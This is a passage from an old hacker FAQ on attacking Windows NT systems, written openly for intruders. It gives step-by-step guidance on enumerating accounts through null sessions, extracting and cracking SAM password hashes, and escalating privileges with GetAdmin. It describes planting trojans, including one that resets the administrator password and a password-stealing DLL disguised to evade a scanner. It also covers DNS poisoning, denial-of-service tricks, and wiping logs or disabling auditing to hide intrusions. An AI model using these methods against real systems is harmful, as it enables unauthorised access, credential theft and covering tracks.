2. The connection that "controls" the session is not authenticated, making it vulnerable to Denial of Service. The concern here is that we do not have control over the client configuration at all times, and that the session could be interrupted followed by some spoofing to "dummy down" to MS-CHAPv1 with its weaker encryption a la LanMan hashes as the client attempts to re-connect. If we have control over the client and server pieces we can configure around this as we can change the settings to only all ow MS-CHAPv2.

3. The nature of the challenge-response (while better than first implemented) still places all of the material used during the generation of session keys onto the wire. This means that the available key space of 128 bits is not being fully taken advantage of as magic numbers constants) and challenges are sent openly across the wire. Only the password is protected in this sense, so therefore the key is only as strong as the password. This means that offline cryptoanalysis of a session could reveal the user password. To further the theory an entire encrypted session could be "decrypted" offline. This might not be an issue if you're communicating secret muffin recipes, but when financial institutions start using Microsoft's PPTP for their VPN they are taking a risk.

Microsoft has failed to take care of these remaining issues.


Top | Next: NT Accounts | Previous: The Basic Web Server | Table of Contents

12.0 NT Accounts


The following section deals with Accounts on NT systems.


12.1 What are common accounts and passwords in NT?

There are two accounts that come with NT out of the box -- administrator and guest. In a network environment, I have run into local administrator access unpassworded, since the Sys Admin thought that global accounts ruled over local ones. Therefore it is possible to gain initial access to an NT box by using its local administrator account with no password.

Guest is another common unpassworded account, although recent shipments of NT disable the account by default. While it is possible that some companies will delete the guest account, some applications require it. If Microsoft Internet Studio needs to access data on another system, it will use guest for that remote access.

NetFRAME Systems Engineers use "aaa" as the default password for new installs.

12.2 What if the Sys Admin has renamed the Administrator account?

It is possible that a Sys Admin will create a new account, give that account the same access as the god account, and then remove part of the access to the former god account. The idea here is that if you don't know the real god account name, you can't get in with god priviledges.

As one might expect, this could break certain programs or functions. For example, what makes root the Unix god is the fact that the UID (User ID number) and GID (Group ID number) are both zero. Any other account set this way is god, and more than one can exist on a single system. But some programs and scripts may not look to see if the user running them is UID zero, they might possibly look to see if the user's name is root. Since often Sys Admins have a stack of stuff to do anyway, monkeying around with the root account is usually not done. If you can gain access to even a limited access account like a guest account, a simple grep "0:0" /etc/passwd should let you see whose god equiv or not.

With NT typing "NBTSTAT -A targetipaddress" will give you the new Administrator account, assuming the god account is logged in. A bit of social engineering could get them to log in as well. Nbtstat will also give you other useful information such as services running, the NT domain name, the nodename, and the ethernet hardware address.

Also see section From The Network which discusses a bug that allows you to get the new Administrator account name.

Renaming or assigning the same rights to a different user name than Admin is more common with Netware than with NT, and I know of NO program that checks to see what the user name is (at least on NT). The paradigm is to check if the rights allow the action, not to see who is really running it.

12.3 How can I figure out valid account names for NT?

If you are at a server and it is a domain controller (or you have simply hooked one up), try these steps to get a list of accounts on the target machine:

  1. From the USER MANAGER, create a trusting relationship with the target.
  2. Enter whatever when asked for a password. Don't fret when it doesn't work. The target is now on your trusting list.
  3. Launch NT Explorer and right click on any folder.
  4. Select SHARING.
  5. From the SHARED window, select ADD.
  6. From the ADD menu, select your target NT server.
  7. You will now see the entire group listing of the target.
  8. Select SHOW USERS and you will see the entire user listing, including full names and descriptions.

This gives you a list of user accounts to target for individual attack. By studying the group memberships, you can even make decisions about who will have more privileges than others.

12.4 What can null sessions to an NT machine tell me?

By establishing a null session from your NT attacking machine to the target server, there are a few different things you can do to get account info:

net use \\server_name\ipc$""/user:""

if you see "The command completed successfully" then you are connected. Using local.exe and global.exe from the NT Resource Kit shold get you some usefull info. Here are two examples.

Get the local administrators on the target:

local anmistrators \\server_name

Get the members of the group Domain Admins:

global "domain admins" \\server_name

For even more information, run DumpACL and go for the user and group reports. This should give you every account on the box, plus a host of other useful info, such as who logged in last, if a password is required, who is in what group, etc. From this you can target specific accounts to attempt access.

To find the role of the machine, domain names, and dc names try using netdom.exe. To find the last logon time try usrstat.exe. Both are in the resource kit.

For some info on shares try net view.

Also, netcat works on multiple platforms and it can be used to forward nt-specific attacks if a direct connection to the target does not exist

Finally, if a password is shorter than seven characters, then lanman-hash(a modified samba client whose source code can be found from the ntbugtraq website) could be used as a password equivalent.


Top | Next: NT Passwords | Previous: NT Basics | Table of Contents

13.0 NT Passwords


This section deals with NT passwords.


13.1 How do I access the password file in NT?

The location of what you need is in \\WINNT\SYSTEM32\CONFIG\SAM which is the location of the security database. This is usually world readable by default, but locked since it is in use by system compotents. It is possible that there are SAM.SAV files which could be readable. If so, these could be obtained for the purpose of getting password info.

During the installation of NT a copy of the password database is put in \\WINNT\REPAIR. Since it was just installed, only the Administrator and Guest accounts will be there, but maybe Administrator is enough -- especially if the Administrator password is not changed after installation.

If the Sys Admin updates their repair disks, or you get a hold of a copy of the repair disks, you can get password database. The file is SAM._ in the ERD directory.

If you are insane, you can go poking around in the SAM secret keys. First, schedule service to logon as LocalSystem and allow it to interact with the desktop, and then schedule an interactive regedt32 session. The regedt32 session will be running as LocalSystem and you can play around in the secret keys. However, if you change some stuff this might be very bad. You have to be Administrator to do this, though, so for the hacker you need to walk up to the machine while the Administrator is logged in and distract them by telling them they're giving away Microsoft t-shirts in the lobby (this doesn't always work ;-). Of course you can simply use a couple of different utilities for dumping the password hashes out, like PWDUMP or even running L0phtcrack (which has pwdump code built in) if you are in as Administrator.

13.2 What do I do with a copy of SAM?

You get passwords. First use a copy of SAMDUMP.EXE to extract the user info out of it. You do not need to import this data into the Registry of your home machine to play with it. You can simply load it up into one of the many applications for cracking passwords, such as L0phtCrack. See section 3 for more info on NT passwords and cracking them.

13.3 What's the full story with NT passwords?

Two one-way hashes are stored on the server -- a Lan Manager hash, and a Windows NT hash. Lan Manager uses a 14 byte password. If the password is less than 14 bytes, it is concantenated with 0's. It is converted to upper case, and split into 7 byte halves. An 8 byte odd parity DES key is constructed from each 7 byte half. Each 8 byte DES key is encrypted with a "magic number" (0x4B47532140232425 encrypted with a key of all 1's). The results of the magic number encryption are concantenated into a 16 byte one way hash value. This value is the Lan Manager one-way hash of the password. A regular Windows NT password is derived by converting the user's password to Unicode, and using MD4 to get a 16 byte value. This value is the NT one-way hash of the password.

The reason there are two hashes is because the Lan Manager hash is for legacy support. In an all-NT environment it would be desirable to turn off Lan Man passwords. Since Lan Man uses a weakened DES key and converts all alpha characters to uppercase, it is easier to crack. The regular NT method uses a stronger algorithm and allows mixed-cased passwords.

So to crack NT passwords, the username and the corresponding one way hashes (Lan Man and NT) need to be extracted from the password database. Instead of going out and writing some code to do this, simply get a copy of Jeremy Allison's PWDUMP, which goes through SAM and gets the information for you. As previously stated, PWDUMP does require that you are an Administrator to get stuff out of the registry.

Since Microsoft does not saltduring hash generation, once a potential password has generated a hash it can be checked against ALL accounts. All current NT crackers take advantage of this. Several freeware and shareware products are available on the Internet. They include:

Cracker/Author(s)/Compiles on.../Notes
c50a-nt-0.20.tgz/Bob Tinsley/Unix/Dictionary cracker, a port of Alec
Muffett's Crack 5.0 for Unix.
lc201exe.zip/Mudge and Weld Pond/Unix/Best of the bunch, can from the 
L0pht GUI NT version  do brute force very and DOS version quickly, also 
can use a dictionary.
NTCrack.tar.gz/Jonathan Wilkins/Unix/Dictionary cracker, on NT version 
it's second revision.

13.4 How does brute force password cracking work with NT?

As previously pointed out, the Lan Manager password concantenated to 14 bytes, and split in half. The halves can be worked on individually. If the password was originally only 7 characters or less, that second half is always 0xAAD3B435B51404EE. To further ease brute force cracking, since a substantial reduction in bits occurs during the deriving of the 8 byte DES key from the 7 byte key, less keys have to be tried. Also since the password is converted to upper case before one way encrypting it, Lan Manager password cracking does not have to take into consideration the possibility of lower case letters. L0phtcrack incorporates techniques to exploit all of these possibilities.

By cracking the Lan Man password first, the NT password can be brute forced to determine the proper case of each alpha character. L0phtcrack 2.01, the latest version as of this writing, is lightning fast.

13.5 How does dictionary password cracking work with NT?

All three of the password crackers mentioned can do dictionary attacks. Only L0phtcrack does not use rules to permutate the wordlist. It is assumed you have pre-treated the wordlist with L0phtcrack, and quite frankly L0phtcrack is blindingly fast in a dictionary crack anyway.

13.6 I lost the NT Administrator password. What do I do?

Use the Offline NT Password Editor by Petter Nordahl-Hagen. You need to download Petter's code to your Linux machine (you DO have one of those, don't you?) and compile it using a libDES and MD4 library. Now mount the NT drive read/write and follow the instructions in the readme. The instructions are pretty easy to follow, especially if you know enough to get to the point to use them ;-)

Actually, to make things easier, Petter has built a bootdisk image that steps you through the entire thing. I'll be the first to admit that Petter's code is as dangerous as hell, but it does work and I had no problems. YMMV.

Consider using GetAdmin.exe (in the NT Attack Section) and go from there if you are too paranoid or fearful of booting up Linux to get to an NT machine.

Check out Winternals for their NT Locksmith product.

13.7 How does a Sys Admin enforce better passwords?

There are several freeware utilities that allow for password changing with rules enforced. These range from the simple passwd utility by Alex Frink to Microsoft's own utilities. The NT Server 4.0 Resource Kit has a utility called Passprop that enforces random passwords. Also on Service Pack 2 is a DLL called PASSFILT that will does basically the same thing.

13.8 Can an Sys Admin prevent/stop SAM extraction?

As long as you can get in as Administrator, you are basically vulnerable. Microsoft has gradually increased its security for the SAM files and the hashes, but as things like L0phtCrack are quickly improved and Microsoft insists on backward compatibility with LAN Manager-style logins, things will be vulnerable. In fact, the latest L0phtCrack can actually sniff the network, store the data exchanged between client and server, and crack the hashes traced. So for you sys admins out there, keep absolutely current of Service Packs and Hot Fixes. For you hackers out there, well, it's a big bright world ;-)

13.9 How is password changing related to "last login time"?

Let's say an admin is checking the last time certain users have logged in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time it will NOT be.

Most users do not login directly to the Primary Domain Controller (PDC), they login to a Backup Domain Controller (BDC). BDCs do NOT contain readonly versions of SAM, they contain read-write versions. To keep the already ungodly amount of network traffic down, BDCs do not tell the PDC that they have an update of the last login time until a password change has been done. And the NET USER /DOMAIN command checks the PDC, so last login time returned from this command could be wildly off (it could even show NEVER).

As a hacker, if you happen to know that password aging is not enforced, then you can bet that last login times will probably not be very accurate.


Top | Next: NT Console Attacks | Previous: NT Accounts | Table of Contents

14.0 NT Console Attacks


This section deals with attacking at the NT Console.


14.1 What does direct console access for NT get me?

First off, a number of NT client attacks may not work if your target system does not allow logins except at the console. Any brute force attack will obviously work much quicker if you are not going across the network.

14.2 What about NT's file system?

Obviously gaining access to the file system from the console is much easier than across a network, especially if the Sys Admin is trying to keep you out.

Try booting up the system from an MS-DOS diskette, and running NTFSDOS.EXE to access the NTFS file system. Currently this software is read only, so it is only good for getting copies of existing data. Linux is another OS that will read an NTFS file system, but "simply loading Linux" on a "spare partition" is usually impractical, and hardly simple if you are not familiar with it. See the question regarding recovering a lost NT password that uses Linux in the recovery process. I mean, if you log in as Administrator then you definitely have access to the file system ;-).

14.3 What is Netmon and why do I care?

NetMon is Microsoft's Network Monitor. It is a sniffer that runs under NT, and being a sniffer if you have to ask why you care, well, never mind ;-)

NetMon is protected by a password scheme on version 3.51 that has nothing to do with regular NT security. In Phrack 48 file 15, AON and daemon9 have not only cracked the encryption scheme, they have written exploits for it as well. Check the resources section for the location of the exploit code (it includes full source including a Unix version in case you do not have an NT compiler).

By the way, compared to other commercial sniffers, this early version of NetMon sucks. It would only look at traffic to and from the machine you are running it on. However, newer versions of NetMon supposedly do actual promiscuous sniffing and is a more useful tool. I have not seen this new NetMon but others report good things about it.


Top | Next: NT Client Attacks | Previous: NT Passwords | Table of Contents

15.0 NT Client Attacks


This section deals with attacking NT remotely.


15.1 What is GetAdmin.exe and Crash4.exe?

GetAdmin.exe is a program written by Konstantin Sobolev. It exploits a subfunction in NtAddAtom that does not check the address of the output. By altering where the output can be written to, GetAdmin adds a user to the Administrators group. It works on NT 4.0.

The easiest way to use it is to simply copy it to \TEMP (along with its DLL, GASYS.DLL) and run it like so: GETADMIN GUEST (or whatever account you wish to add).

This will add Guest to the Administrators group.

GetAdmin will add domain accounts on a primary domain controller and even other domain accounts. Since it is a command line tool, it will work across a telnet session if you've uploaded it to the target.

There is a post SP3 Hot Fix available from Microsoft that defeats this if loaded.

Crash4.exe will allow GetAdmin to work on SP3 patched machines. Simply run Crash4 and followed by GetAdmin as previously mentioned. Crash4 rearranges a few things on the stack to allow GetAdmin to work.

15.2 Should I even try for local administrator access?

Oh yes. A lot of NT administrators do not understand that when an NT box joins a domain, if they left that administrator password blank, it doesn't get "filled in" or "overwritten". Belonging to a domain does NOT turn off local users.

If you gain local administrator, try some of these tricks (these will work with the default settings after installation on the target):

15.3 I have guest remote access. How can I get administrator access?

The easiest way is to run GetAdmin as mentioned above, but here is an older tricks for basic NT 3.51, which as some has some stuff read/writeable by default. You could edit the association between an application and the data file extension using regedt32. First off, you should write a Win32 app that does nothing but the following -

net user administrator biteme /y
notepad %1 %2 %3 %4 %5

In a share you have read/write access to, upload it. Now change the association between .txt files and notepad to point to the location of the uploaded file, like \\ThisWorkstation\RWShare\badboy.exe.

Now wait for the administrator to launch a text file by double clicking on it, and the password becomes "biteme".

Of course, if the Sys Admin is smart they will have removed write permission from Everyone for HKEY_CLASSES_ROOT, only giving out full access to creator\owner.

15.4 What about %systemroot%\system32 being writeable?

Well, this can be exploited on NT 4.0 by placing a trojaned FPNWCLNT.DLL in that directory. This file typically exists in a mixed NT/Netware environment. First compile the exploit code written by Jeremy Allison (jra@cygnus.com) and call the resulting file FPNWCLNT.DLL. A pointer to the exploit code is in the Resources section. Now wait for the user names and passwords to get written to a file in \temp.

If you load this on a Primary Domain Controller, you'll get EVERYBODY'S password. You have to reboot the server after placing the trojan in %systemroot%\system32.

ISS (www.iss.net) has a security scanner for NT which will detect the trojan DLL, so you may wish to consider adding in extra junk to the above code to make the size of the compiled DLL match what the original was, and using a CRC matcher program (several exist on the Internet) to make the CRC between the trojan and the real version match. This will prevent the current shipping version of ISS's NT scanner from picking up the trojan.

It should be noted that by default the group Everyone has default permissions of "Change" in %systemroot\system32, so any DLL that is not in use by the system could be replaced with a trojan DLL that does something else.

15.5 What if the permissions are restricted on the server?

By default the NT administrator account does not have a lockout feature like normal users accounts, to prevent a denial-of-service attack on the administrator account. Since failed logins are not logged by default, you could possibly gain administrator access by sheer brute force.

If the Sys Admin runs passprop.exe they can turn on the lockout feature of Administrator.

15.6 What exactly does the NetBios Auditing Tool do?

Developed by Secure Networks Inc., it comes in pre-compiled Win32 binary form as well as the complete source code. It is the "SATAN" of NetBios based systems.

Here is a quote from Secure Networks Inc about the product -

"The NetBIOS Auditing Tool (NAT) is designed to explore the NETBIOS file-sharing services offered by the target system. It implements a stepwise approach to gather information and attempt to obtain file system-level access as though it were a legitimate local client.

"The major steps are as follows:

"A UDP status query is sent to the target, which usually elicits a reply containing the Netbios 'computer name'. This is needed to establish a session. The reply also can contain other information such as the workgroup and account names of the machine's users. This part of the program needs root privilege to listen for replies on UDP port 137, since the reply is usually sent back to UDP port 137 even if the original query came from some different port.

"TCP connections are made to the target's Netbios port [139], and session requests using the derived computer name are sent across. Various guesses at the computer name are also used, in case the status query failed or returned incomplete information. If all such attempts to establish a session fail, the host is assumed invulnerable to NETBIOS attacks even if TCP port 139 was reachable.

"Provided a connection is established Netbios 'protocol levels' are now negotiated across the new connection. This establishes various modes and capabilities the client and server can use with each other, such as password encryption and if the server uses user-level or share-level Security. The usable protocol level is deliberately limited to LANMAN version 2 in this case, since that protocol is somewhat simpler and uses a smaller password keyspace than NT.

"If the server requires further session setup to establish credentials, various defaults are attempted. Completely blank usernames and passwords are often allowed to set up 'guest' connections to a server; if this fails then guesses are tried using fairly standard account names such as ADMINISTRATOR, and some of the names returned from the status query. Extensive username/password checking is NOT done at this point, since the aim is just to get the session established, but it should be noted that if this phase is reached at all MANY more guesses can be attempted and likely without the owner of the target being immediately aware of it.

"Once the session is fully set up, transactions are performed to collect more information about the server including any file system 'shares' it offers.

"Attempts are then made to connect to all listed file system shares and some potentially unlisted ones. If the server requires passwords for the shares, defaults are attempted as described above for session setup. Any successful connections are then explored for writeability and some well-known file-naming problems [the ".." class of bugs].

"If a NETBIOS session can be established at all via TCP port 139, the target is declared 'vulnerable' with the remaining question being to what extent. Information is collected under the appropriate vulnerability at most of these steps, since any point along the way be blocked by the Security configurations of the target. Most Microsoft-OS based servers and Unix SAMBA will yield computer names and share lists, but not allow actual file-sharing connections without a valid username and/or password. A remote connection to a share is therefore a possibly serious Security problem, and a connection that allows WRITING to the share almost certainly so. Printer and other 'device' services offered by the server are currently ignored."

If you need more info on NAT, too bad, 'cause it looks like no one's mirrored it. Even so, many similar tools can be found on Packetstorm and elsewhere.

15.7 What is the "Red Button" bug?

MWC has released an exploit that allows the following to occur -- the registry of a remote machine can be accessed, a list of users AND of shares can be obtained, even if the intruder hasn't logged in.

There is a built in user called "anonymous" that is usually used for communication between machines. This exploit takes advantage of the fact that anonymous is a member of the group Everyone. Because of this, the following can be done:

Using this access a trojan could be loaded, since often the group Everyone has access to application software.

It is possible that a Sys Admin could have unbound NetBios from the interface. This would disallow some access. Typically at a security aware site you would find the machines outside the firewall, like the Web server or FTP server configured this way (and all other access blocked by the firewall. However if you compromise the machine this could be a handy partial backdoor -- especially if you are using one machine as a "drop" during an attack.

The bug can manually be done -- no exploit code needed. Try this from a 4.00 workstation:

net use \\targetserver\ipc$ "" /user:""

Now run User Manager, Event Viewer, Registry Editor, or simply use the net command to target the remote machine.

The administrator account's SID always ends in -500 (Guest is -501) so find that and you have the administrator account, even if renamed. The built-in local groups (documented and undocumented) always have the same SID, so check out your own machine first and compare -- especially if some of these have been renamed.

If all the users are moved from the Everyone group, you not be able to exploit this. For you admins out there, ISS has released a tool to automate this "move users out of Everyone" process. And admins you should check and see what shares that Everyone can get to.

The exploit code can found at http://packetstormsecurity.org/NT/audit/redbutton.nt.weakness.shower.zip.

ISS's tool can be found at http://ftp.cerias.purdue.edu/pub/tools/windows/everyone2user.exe.

15.8 What about forging DNS packets for subversive purposes?

Sure. ;-)

By forging UDP packets, NT name server caches can be compromised. If recursion is allowed on the name server, you can do some nasty things. Recursion is when a server receives a name server lookup request for a zone or domain for which is does not serve. This is typical how most setups for DNS are done.

So how do we do it? We will use the following example:

We are root on ns.nmrc.org, IP 10.10.10.1. We have pirate.nmrc.org with an address of 10.10.10.2, and bait.nmrc.org with an address of 10.10.10.3. Our mission? Make the users at lame.com access pirate.nmrc.org when they try to access www.lamer.net.

Okay, assume automation is at work here to make the attack smoother...

With a little creativity, you can also do other exciting things like reroute (and make copies of) email, denial of service (tell lame.com that www.lamer.net doesn't exist anymore), and other fun things.

Supposedly SP 3 fixes this.

15.9 What about shares?

The main thing to realize about shares is that there are a few that are invisible. Administrative shares are default accounts that cannot be removed. They have a $ at the end of their name. For example C$ is the administrative share for the C: partition, D$ is the administrative share for the D: partition. WINNT$ is the root directory of the system files.

By default since logging is not enabled on failed attempts and the administrator doesn't get locked out from false attempts, you can try and try different passwords for the administrator account. You could also try a dictionary attack. Once in, you can get at basically anything.

15.10 How do I get around a packet filter-based firewall?

If the target NT box is behind a firewall that is doing packet filtering (which is not considered firewalling by many folks) and it does not have SP3 loaded it is possible to send it packets anyway. This involves sending decoy IP packet fragments with specially crafted headers that will be "reused" by the malicious IP packet fragments. This is due to a problem with the way NT's TCP/IP stack handles reassembling fragmented packets. As odd as this sounds, example code exists to prove it works. See the web page at insecure.org's sploit database for details.

How does it bypass the packet filter? Typically packet filtering only drops the fragmented packet with the offset of zero in the header. The example source forges the headers to get around this, and NT happily reassembles what does arrive.

15.11 I hack from my Linux box. How can I do all that GUI stuff on remote NT servers?

Try and get familiar with the net use and net user commands before attacking.

The main problem is adjusting NT file security attributes. Some utilities are available with NT that can be used, but I'd recommend using the NT Command Line Security Utilities. They include:

saveacl.exe
saves file, directory and ownership permissions to a file
restacl.exe
restores file permissions and ownership from a saveacl file
listacl.exe
lists file permissions in human readable format
swapacl.exe
swaps permissions from one user or group to another
igrant.exe
grants permisssions to users/groups on directories
irevoke.exe
revokes permissions to users/groups on directories
setowner.exe
sets the ownership of files and directories
audit.exe
add and remove audit triggers to files and directories
regilstacl.exe
print registry subkey security to the screen
reggrant.exe
grant access to users and groups on registry subkeys
regrevoke.exe
revoke access from users and groups on subkeys
regsetowner.exe
change registry subkey ownership
regswapacl.exe
swaps permissions from one user group to another
regaudit.exe
add and delete audit triggers on keys
sharelistacl.exe
list permissions on a local or remote share
sharegrant.exe
grant permissions to a local or remote share
sharerevoke.exe
revoke permissions from a local or remote share
ntuser.exe
manipulate account and group properties
nu.exe
'net use' replacement. shows connected drives.

Listacl and reglistacl also display the current auditing state of files, directories, and regisrty keys.

Each of the programs contains a built-in help screen. Just run any of the programs with a "-h" argument and the help screen will be displayed. Most utlilities support a "-r" option for recursive options throughout the program.

The collection is $45 (USD), it is shareware, but well worth the price. Even if the set only included the ntuser.exe utility, it would still be worth the money.

Check out Pedestal Software to download the collection.

15.12 What's the story with WinGate?

While not exactly a Windows NT-only issue, it seriously affects Windows 95 users as many have installed this product. WinGate is a product that allows IP masquerading through a single Windows 95/98/NT box onto the Internet. WinGate comes in three flavors -- WinGate Home, Wingate Standard, and WinGate Pro. It is so popular for home users because with a few points and clicks the entire home network can be talking to the Internet through a single PC that has a modem attached. The home version is also around $40 for 3 users, making it very cheap.

Older versions are still around, including WinGate Lite, which are free. Older versions are also subject to denial of service. Telnetting repeatedly to localhost from a WinGate will crash it as it eventually runs out of resources. Connecting to port 2080 and dumping in about 2K of junk will crash WinGate.

Pointing your web browser to a WinGate machine via port 8010 will either give you the error message of "connection cannot be established" or you will be returned a list of files on the target system. Ouch. Here's an example:

http://www.server.com:8010/c:/ (NT/Win9x)
http://www.server.com:8010// (NT/Win9x)
http://www.server.com:8010/..../ (Win9x)

Attackers and spammers will use improperly configured WinGates (read default settings) to bounce through and hide their real source location.

For those of you actually using WinGate, I recommend using a cheap old 386 with 8MB RAM, an 80MB hard drive, and a free Unix flavor loaded up instead. Use *that* as your gateway to the Internet, not WinGate. You can probably find someone to *give* you the hardware, you can configure it a lot safer than WinGate, and it's a little more cool. However if you must use WinGate be sure to go into the Gatekeeper program, and adjust the policies so that "Everyone" can only access from localhost and internal machines.

15.13 How do I find these buggy WinGates I can use?

Go to Altavista and do a search for "wingate scanner". This should point you in the right direction. As this is a popular bounce point of an attack for IRC script kids, especially those trying to hide their true identity and location, I recommend serious virus scanning of anything you download in compiled form.


Top | Next: NT Denial of Service | Previous: NT Console Attacks | Table of Contents

16.0 NT Denial of Service


This section deals with Denial of Service attacks that are specific to NT.


16.1 What can telnet give me in the way of denial of service?

There are several DoS attacks involving a simple telnet client that can be used against an NT server.

First, by telnetting to port 53, 135, or 1031, and then typing in about 10 or so characters and hitting enter will cause problems. If DNS (port 53) is running, DNS will stop. If 135 answers, the CPU utilization will increase to 100%, slowing performance. And if port 1031 is hit, IIS will get knocked down. Typically the fix is to reboot the server, as it will be hung or so slow as to render it useless.

Telnetting to port 80 and typing "GET ../.." will also crash IIS.

If the latest service pack is loaded the attack will not work.

16.2 What can I do with Samba?

Don't get me started ;-)

As far as DoS, if you connect to a server with Samba to 3.X NT that does not have the latest service pack loaded, you can send it "DIR ..\" and crash it.

16.3 What's with ROLLBACK.EXE?

If the file ROLLBACK.EXE is executed, the registry can be wiped. You must re-install or do a complete restore if this happens to you. Sys Admins will probably want to remove this file. Renamed, it makes for one hell of a nasty trojan.

It is reportedly possible to lock onto a port, say like port 19, and when the server crashes and comes up ROLLBACK.EXE will start trying to unlock the port and subsequently opens up the registry for anyone to wipe it. I was unsuccessful in getting this to happen in the lab, but probably because I find DoS attacks rather lame I didn't try very hard to get it to work. But others claim it can happen, so keep it in mind.

16.4 What is an OOB attack?

This attack is fairly simple, and a fair amount of source code is available. Basically it involves sending an out-of-band message to a Windows operating system. Typically port 139 is used. This was patched with SP3 and a Hot Fix but apparently with a little monkeying around with the code you can get around this.

This DoS is very popular, mainly because of the wide variety of implementations of sockets. I've seen Unix and Windows NT versions of code, an implementation in Perl, and even an implementation using the Rexx Socket APIs on OS/2.

If you are so inclined, try a web search for "winnuke" which will get you probably a thousand locations with the code.

16.5 Are there any other Denial of Service attacks?

If a domain user logs onto the console, creates a file and removes its permissions, it is possible that another user can log onto the console and delete the file. The problem affects all versions of NT. However, this isn't what I'd consider "Denial of Service" as it is more like denial of a file. Depending on the file, though, it could be used as DoS.

If you are running smbmount with version 2.0.25 of Linux, you can crash an NT server. smbmount is intended to be run on Linux 2.0.28 or higher, so it doesn't work right on 2.0.25. You also need a legit user account. Running as root, type smbmount //target/service /mnt -U client_name, followed by ls /mnt will hang the shell on Linux (no biggie) and blue screen the target server (biggie).

The final DoS I'm aware of involves Microsoft's DNS on NT 4.0 server. If you send it a DNS response when it did not make a query, DNS will crash.

The latest service packs and post service pack patches fix all of these problems.


Top | Next: NT Logging and Backdoors | Previous: NT Client Attacks | Table of Contents

17.0 NT Logging and Backdoors


This section contains info regarding logging and backdoors for NT.


17.1 Where are the common log files in NT?

These are located in %root%\SYSTEM32\CONFIG. They are:

As a hacker do not worry about the AppEvent.Evt file much -- you are mainly concerned with items in the regular event log (the SysEvent.Evt file) and the security log (the SecEvent.Evt). By default regular users should be able to read the regular event log, and you may wish to look that over if you can to see if your "visit" left a trace. If it did and the entries look out of place, consider adding entries from other users that are similiar by accessing the system as these other users.

You have to have Administrative Group rights to view the security event log. And you'll certainly want to check that to see what is in it.

17.2 How do I edit/change NT log files without being detected?

Well this can be a little tricky as these files are locked in place during NT's operation. You have a couple of choices at this time -- wipe the logs or try to add stuff to them to add camoflage obfuscation. Not elegant, but better than nothing.

17.3 So how can I view/clear/edit the Security Log?

You have to be in as an Administrator or as someone in the Administrator's group.

Start the Event Viewer, and from the Log menu select Security. You view individual items by double clicking on them. To clear them (which is an all or nothing proposition) select Clear All Events from Log. If asked to save the info, answer no.

There is currently no way to edit the contents of the Security Event Log, although it is not impossible. One could conceivably boot up the system with Linx on a floppy, copy the logs off for editing in a hex editor, and copy doctored logs back up. I've considered writing the software to do this, although I probably never will.

17.4 How can I turn off auditing in NT?

This requires Administrator access. From the User Manager go to the Policies menu and select Audit. Turn off the things you wish to turn off.

As far as individual files and directories, you have to right-click on the file or directory from within Explorer, go to Properties and go to the security tab. Click on the auditing button for details, and turn off what you need turned off.

If you need to do this from a command line, check out the question "I hack from my Linux box. How can I do all that GUI stuff on remote NT servers?" in the NT Client Attacks section.


Top | Next: NT Misc. Attack Info | Previous: NT Denial of Service | Table of Contents

18.0 NT Misc. Attack Info


This section has miscellaneous information regarding hacking and NT.


18.1 How is file and directory security enforced?

Since files and directories are considered objects (same as services), the security is managed at an "object" level.

An access-control list (ACL) contains information that controls access to an object or controls auditing of attempts to access an object. It begins with a header contains information pertaining to the entire ACL, including the revision level, the size of the ACL, and the number of access-control entries (ACEs) in the list.

After the header is a list of ACEs. Each ACE specifies a trustee, a set of access rights, and flags that dictate whether the access rights are allowed, denied, or audited for the trustee. A trustee can be a user account, group account, or a logon account for a service program.

A security descriptor can contain two types of ACLs: a discretionary ACL (DACL) and a system ACL (SACL).

In a DACL, each ACE specifies the types of access that are allowed or denied for a specified trustee. An object's owner controls the information in the object's DACL. For example, the owner of a file can use a DACL to control which users can have access to the file, and which users are denied access.

If the security descriptor for an object does not have a DACL, the object is not protected and the system allows all attempts to access the object. However, if an object has a DACL that contains no ACEs, the DACL does not grant any access rights. In this case, the system denies all attempts to access the object.

In a SACL, each ACE specifies the types of access attempts by a specified trustee that cause the system to generate audit records in the system event log. A system administrator controls the information in the object's SACL. An ACE in a SACL can generate audit records when an access attempt fails, when it succeeds, or both.

To keep track of the individual object, a Security Identifier (SID) uniquely identify a user or a group.

A SID contains:

A privilege is used to control access to a service or object more strictly than is normal with discretionary access control. Privileges provide access to services rarely needed by most users. For example, one type of privilege might give access for backups and restorals, another might allow the system time to be changed.

18.2 What is NTFS?

NTFS is the Windows NT special file system. This file system is tightly integrated into Windows security -- it is what allows access levels to be set from the directory down to individual files within a directory.

18.3 Are there are vulnerabilities to NTFS and access controls?

Not so much vulnerabilities as there are quirks -- quirks that can be exploited to a certain degree.

For example, let's say the system admin has built a home directory for you on the server, but has disallowed the construction of directories or files that you wish to make available to the group Everyone. You are wanting to make this special directory so that you can easily retrieve some hack tools but you are cut off. However, if the sys admin left you as the owner of the home directory, you can go in and alter its permissions. This is because as long as you are the owner or Administrator you still control the file. Oh sure, you may get a few complaints from the system when you are doing it, but it can be done.

Since NTFS has security integrated into it, there are not too many ways around it. The main one requires access to the physical system. Boot up the system on a DOS diskette, and use NTFSDOS.EXE. It will allow you to access an NTFS volume bypassing security.

The last quirk is that if you have a directory with Full Control instead of RWXDPO permissions, then you get a hidden permission called File Delete Child. FDC cannot be removed. This means that all members of the group Everyone can delete any read-only file in the directory. Depending on what the directory contains, a hacker can replace a file with a trojan.

18.4 What is Samba and why is it important?

Samba is a freeware app developed by Andy Tridgell. It is a great tool for helping integrate Unix into Microsoft Windows and Lan Manager environments. The main idea is that you can, with Samba, allow a Unix machine to access file and directories. The other handy thing about Samba is that like most Unix freeware you get the source code.

Most hackers seem to have Linux up and running, so loading up Samba allows you several tactical advantages. A number of the exploits described here require access to a privileged port (< 1024). If you are root on your own Linux box, you can start exploits from those needed ports. A lot of the tests in the NMRC lab were conducted using Samba. In fact when World Star Holdings Ltd in Canada had their lame Cybertest '96 contest on June 12th, yours truly used Samba to break in (but I wasn't first).

Samba talks SMB and can directly access Windows NT hardware, and Hobbit (hobbit@avian.org) has put together a very interesting paper entitled "CIFS: Common Insecurities Fail Scrutiny". It is highly recommended reading for admins and hackers alike. Included in the paper are details and source patches to allow easier attacking on NT.

Studying the source code of Samba taught me a lot, but Hobbit's paper puts everything in a whole new light. It provides some well documented basics on how a lot of the communications work, detailing exactly WHY certain protocols and behaviours are vulnerable to abuse.

Get Samba and read its documentation. Read Hobbit's paper and apply the patches. Period.

18.5 How do I bypass the screen saver?

If a user has locked their local workstation using CTRL+ALT+DEL, and you can log in as an administrator, you will have a window of a few seconds where you will see the user's desktop, and even manipulate things. This trick works on NT 3.5 and 3.51, unless the latest service pack has been loaded.

If the service pack has been loaded, but it's still 3.X, try the following.

